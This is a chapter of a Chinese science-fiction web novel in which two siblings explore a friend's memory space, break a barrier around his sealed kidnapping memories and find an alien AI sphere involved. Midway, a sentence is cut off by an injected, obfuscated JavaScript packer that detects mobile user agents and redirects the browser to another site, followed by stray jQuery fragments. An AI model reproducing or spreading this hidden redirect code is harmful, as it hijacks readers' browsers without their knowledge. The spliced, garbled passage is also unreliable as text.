“哥哥！”


    “你的意识能不能别到处乱飘？专心一点好不好？”


    “我要是找到那些记忆碎片，就得马上推进你的主意识，不然它们会散掉哦。”


    飞鸢揉了揉额头，学着父亲训人的样子皱起了细细的眉毛。


    “你这样晃来晃去，会来不及！”


    “你这个跳脱的性子，得改！我真的很烦心……”


    “鸢儿，你以后少学大人说话，会变得不～可～爱。”飞龙翻了个白眼。最近这妹妹为了在安国面前显得成熟稳重，开始有模有样地学习父亲的做派，让他又好气又好笑。


    “要你管！” 飞鸢的主意识飘过来，一把薅住了他的主意识，“你是个臭哥哥，总说我坏话。这里这么大……我怕你走散了。”


    “哈哈——鸢儿，怕你走散的应该是我。” 飞龙想了想，忽然将数十个子意识散开，在飞鸢腰间环成一个亮着微光的“救生圈”，“瞧，这样就不怕了。你抓到记忆残片就推给它们，我马上解析。”


    他指了指自己的额头，得意轻笑，“我和它们，可是心意相通。” 他一挥手——他的子意识瞬间亮起宝蓝色的光芒，将飞鸢整个人笼罩其中。


    “嗯哼——” 飞龙轻咳一声，“这回好了，无论小猪猪藏到哪里，猪哥哥都找得到她喽。”


    飞鸢：“……”


    .


    彼时，韩飞龙和韩飞鸢的主意识正徘徊在德里克主意识的虚拟空间中。


    二人接入时发现，韩呈栋和楚寒玉已经顺利进入了德里克的预设梦境。


    按照约定，为避免梦境承载过多外来意识的冲击而破碎，他们兄妹只能留在虚拟空间中，等~消~息。


    但他们哪里闲得住？


    德里克主意识的虚拟空间中，除了几片明亮的“梦境区”外，还有不少形状各异的意识云团漂浮其中。


    零散的子意识们懒懒散散地游走其中，大小不一的记忆碎片更是随处可见。


    飞鸢的子意识宛如发散四处的五彩光流，飞快触碰着记忆碎片，希望找到之前那种拥有负面情绪的记忆残片，然后推送给哥哥飞龙解析。


    看到飞鸢的子意识们通常只是轻轻碰一下记忆碎片便飞开，跟在她身后的飞龙极为苦恼：“真无聊——鸢儿不推送记忆，我就无事可做……”


    他眼珠一转，开始碰瓷德里克的游离子意识。


    “真可惜，子意识携带的记忆片段……太短……”


    “哎呦，德里克，这么快就交到女友了？”


    “嗯，姑娘挺漂亮的。”


    “这，这么快就亲上了……”


    “少儿不宜！幸亏鸢儿看不到。”


    “我是不是有些不厚道？”


    韩飞龙有些心虚，但还是想看，只好说服自己：


    ——“德里克，要是我不看，遗漏了重要信息，可不好。”


    ——“大不了，以后，哥们也让你看看我女友……”


    .


    兄妹俩结伴而行，沿着一条模糊不清的“时间光带”向前漂移。


    之所以说“模糊”，是因为他们很快就发现：德里克的意识云团，并不是按时间排序，而是——按“生活场景”。


    有他在飞龙舰保育院参加各种比赛时的意气风发，有策划捉弄苏菲的恶作剧时的精心算计，和好兄弟们一起吃吃喝喝的眉飞色舞，以及……和罗小武在军校中训练作妖时的酣畅淋漓。


    目睹德里克从最初的天真可爱，到渐渐的暗藏心机——飞龙忍不住惊掉了下巴。


    他在心中疯狂地碎碎念起来：


    “哎哟我去——谁能想到啊！”


    “看起来乖巧暖心、温柔可爱，弱不禁风的小猫崽德里克，其实心思细腻、诡计多端！”


    “真是的，我小姑姑对德里克可真是太宠了——言传身教。恨不得他学不会她的狡诈……”


    “怪不得德里克和我小武叔做起‘坏事’，隐藏得那么好……”


    “比我和智源的腹黑段位还高——害人，让人家替他们俩数钱的那种……”


    “大家真是瞎了眼——怎能将德里克和邵林逸并称飞龙舰队学员的‘两杆标兵’？”


    “当年德里克暗地里捉弄苏阿姨可是不遗余力，比我捉弄海瑟的手段不遑多让——为什么我常常挨训，他次次逃脱？”


    飞龙越想越气，嘟囔道：“这世道，真是太——不——公——平！”


    飞鸢：“……”


    .


    “不过，那还真是一段美好的记忆。” 旁观德里克成长中的点点滴滴，唤醒了韩飞龙深埋心底的往事。


    德里克刚被送进保育院时，又瘦又弱，总是抱膝瑟缩在角落中，不敢和别的孩子交流。


    韩呈栋心中忧虑，特意叫来保育院中的“老大”小姜，和小姜的跟班，飞龙和安国，叮嘱了一番：


    “之余，德里克父母双亡，在海盗窝中受尽了折磨，有心理创伤——今后不能再让他受委屈。”


    “他养父萧天桦不在舰上这段时间，我就是德里克的监护人——要是让我知道有人欺负了德里克，我不问别人，先收拾你们仨！”


    于是，姜之余回到保育院，第一件事就是当众宣布：“德里克是我们哥仨的‘兄弟’。谁要是和他过不去，我们就和他过不去！”


    他们仨形影不离，如今德里克既入了伙，那捣蛋也不能把他落下。


    好在，德里克很快就找到了自己在团队中的位置——望风。


    因为养父萧天桦号称“战场猎豹”，德里克有一次趴在维修通道中监视宪兵，忍不住和身边的安国小声嘀咕：“你走吧，这里交给我了——我爹是猎豹，我就是‘豹猫’！”


    事后，安国讲给姜之余和他听，他们都笑得前仰后合，于是德里克“战场豹猫”的绰号很快就传开了。


    不过，后来无味、无声、无息的卢克大叔出现，萧叔叔也返回了飞龙舰队，德里克这个哨兵被迫下岗——萧叔叔警告他们仨，不许再带着德里克搞恶作剧！全然不顾德里克那哀怨的眼神。


    最初，他们都觉得：德里克说话轻声轻气，笑容温柔，一点也不像“豹猫”，更像个病怏怏的小“狸花”。


    哪料，三年后，适应了舰上生活的德里克不仅开始猛窜个子，而且在飞行和格斗上都展现出惊人的天赋——进入军校后，成了一只闻名空一军校的迅掠龙！


    韩呈栋一直对德里克赞不绝口，私下常说：“德里克这孩子，父母十有八九不是普通人——不然怎会被那伙凶悍的匪徒惦记？哎。只可惜联盟数据库查不到他的家族记录。”


    但见时光流似箭，岂知天道曲如弓？


    兜兜转转——谁又能想到，德里克，竟是火星第一望族，纳斯奇家的长子长孙？


    .


    游走了好一会儿，一无所获，飞鸢开始不耐烦：“哥———”


    韩飞龙止住了心中的唏嘘，看向这个爱搞事的妹妹。


    “哥，这一片记忆区几乎全是快乐回忆，咱们还是去那边的梦境区中看看吧！”


    的确，在飞龙舰队的那些年，德里克受过的最大委屈就是撮合小姑姑和养父萧天桦无果，并因为搅黄苏菲和天桦叔叔的约会而挨了几次不疼不痒的“训导”——甚至没被关过一次禁闭！


    飞龙立刻拦住飞鸢：“不行！妈妈说，目前我们无法控制多人入梦对本体梦境的影响。德里克的意识恐怕会对外来意识应激。”


    飞鸢转转眼珠，有了新主意。


    “哥，就听你的，我们不进梦境——可以去那边看看吗？瞧，好大一片黑暗……既没有梦境，也没有意识碎片悬浮，不是很奇怪吗？”


    飞龙皱眉。


    ——飞鸢观察果然敏锐。


    ——可那片区域虽然不大，但是不知为何，他总觉得心中有些惴惴。


    出于谨慎，他决定从边缘入手。


    果然。


    他们刚一靠近，就撞上了一道无形的能量壁垒。


    意识像撞上玻璃墙一般被轻轻弹开。


    这，竟是一段被能量壁垒屏蔽了的记忆单元。


    飞鸢的主意识轻轻靠了过来。


    飞龙微怔——随即暗暗得意：


    “得嘞，天不怕地不怕的鸢儿，也有躲在哥哥身后的一天。”


    .


    飞龙发散出去的数十个子意识，开始沿着能量墙缓缓移动，绘制边界。


    不久，他就确定这是一整段被屏蔽的记忆。


    对应的时间区间应为2274年1月到2


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844282|158017||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    274年8月——正是德里克被绑架的那段时间。


    但是，能量屏蔽并不连续——宛如千年冰川上出现的一道道裂缝。


    “哥，这说明，能量屏障不是一次生成的。咱们不如去裂缝中探一探——说不定有些时间点的记忆没被封存！”


    飞龙犹豫片刻，决定冒险。


    他们各自派出五个子意识结伴沿裂缝深入。


    在狭小的缝隙里，子意识们果然触碰到了几块记忆残片。


    头四张碎片拼接起来，大致呈现出了一个场景：德里克应是躺在一个医疗箱中，显然处于半昏迷状态——因为这段记忆中的一切都有些模糊。他头顶的正上方是一块生命体征屏幕，上面一排排红灯不断闪烁。


    第五第六张残片中是灯光昏黄的室内场景，在医疗箱左边的一张指挥椅中，坐着一名满脸胡须的男人——飞龙认出，他正是已在121登星战中被击毙的帕顿上校，他微合双目，并未说话。


    穿行在这么狭小的空间中，仅仅解析了六个碎片，二人已经十分疲惫。


    时间也所剩无几——他们准备拼好这个时间点的场景，就返回。


    .


    然而。


    当第七和第八个碎片被飞龙解析后，兄妹俩同时震惊。


    在医疗箱的右上方，悬浮着的，是一个半透明的球体。球体表面不时划过一道道他们都十分熟悉的蓝色光纹。下一刻，球体伸出了触手，缠向德里克的头部。


    “哥，这个能量球，是不是……卢克哥哥说的……”飞鸢惊讶地捂住了自己的嘴。


    “那种携带播种者智脑的能量球！”飞龙喃喃道，“永恒的星辰啊，帕顿上校怎会有播种者智脑？”


    “一定是它对德里克哥哥的大脑做了什么！”飞鸢愤然道，子意识飞向了不远处的最后一块残片。


    就在她将残片推给飞龙子意识的那一瞬，虚拟空间突然震动起来。


    能量壁垒瞬间变得炙热，几道刺目的蓝光猛然从边缘激射而出，直扫向停留在壁垒旁的飞龙与飞鸢的主意识。


    一道巨大的电弧在意识层面炸开——强烈的电击感令学院舰指挥台前端坐的韩飞龙，和能量空洞中魏安国怀中的韩飞鸢，同时疼得战栗起来。


    几乎在同一刻，飞鸢腰间的宝蓝色光环骤然绽亮，携着一束五色光流，倒卷而回，狠狠撞向能量壁垒。


    “啪——啪啪——！”


    如同薄冰被落石击中，两道光流划过之处，壁垒表面现出万千裂痕。


    下一瞬，壁垒崩塌，消失不见。


    一簇簇微光，在曾经黑暗的区域中，缓缓亮起。


    .


    丽达号医疗舱。


    韩飞龙和韩飞鸢的脑电波图突然同时剧烈跳动起来。


    几乎是同时，德里克的脑电波开始紊乱，并很快波及到楚寒玉与韩呈栋。


    “糟糕！”肖恩咒骂了一句。


    ——就算没经过任何训练的人也能看出，这么七零八落的脑电波，可不正常！


    德里克的梦境里出事了。


    “是意识纠缠？还是德里克情绪产生了剧烈波动？”


    肖恩一把按下红色按钮，紧急切断了休眠箱的超空间通讯链路。


    .


    翔龙母舰舰长室。


    韩呈栋和楚寒玉被从德里克的梦境中踢出，瞬间回到现实，头痛欲裂。


    .


    学院舰。


    韩飞鸢的能量空洞中，收到警报的魏安国也立刻按下了飞鸢手臂终端上的红色按钮——能量空洞顷刻坍塌。


    二人跌落后，魏安国惊恐地发现，飞鸢已经晕厥在他怀中。


    他抬眼看向舰桥。


    指挥台边，韩飞龙勉强挺起身，挥手将一份视频推送中央显示区后，便软倒在指挥椅中。


    .


    丽达号休眠舱。


    休眠箱中的德里克猛然睁开眼睛：


    “我……在哪里？”


    “爸爸，妈妈，你们……在吗？”


    一阵茫然过后，曾经被封印的记忆如潮水般涌入他的大脑。


    往事一桩桩，一件件，清晰展现。


    那样的鲜活，宛如昨日。


    令他一时间痛到心碎。


    .